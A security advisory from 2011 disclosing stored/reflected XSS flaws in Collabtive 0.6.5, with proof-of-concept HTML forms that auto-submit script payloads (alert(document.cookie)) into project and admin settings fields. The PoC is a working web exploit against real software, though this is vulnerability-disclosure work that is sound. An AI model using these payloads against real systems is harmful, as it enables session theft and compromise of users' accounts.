Vulnerability ID: HTB22906
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_collabtive.html
Product: Collabtive
Vendor: Open Dynamics ( http://collabtive.o-dyn.de/ )
Vulnerable Version: 0.6.5 and probably prior versions
Vendor Notification: 17 March 2011
Vulnerability Type: XSS
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "managetimetracker.php", "manageproject.php", "manageuser.php", "admin.php" scripts to properly sanitize user-supplied input in "id", "name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.
<form action="http://host/manageproject.php?action=edit&id=1" method="post" name="main">
<input type="hidden" name="name" value='test"><script>alert(document.cookie)</script>'>
<input type="hidden" name="desc" value="Description">
<input type="hidden" name="end" value="16.03.2011">
</form>
<script>
document.main.submit();
</script>
<form action="http://host/admin.php?action=editsets" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="name" value='Collabtive"><script>alert(document.cookie)</script>'>
<input type="hidden" name="subtitle" value="Projectmanagement">
<input type="hidden" name="locale" value="en">
<input type="hidden" name="timezone" value="Europe/Zurich">
<input type="hidden" name="rssuser" value="">
<input type="hidden" name="rsspass" value="">
<input type="hidden" name="dateformat" value="d.m.Y">
<input type="hidden" name="template" value="standard">
</form>
<script>
document.main.submit();
</script>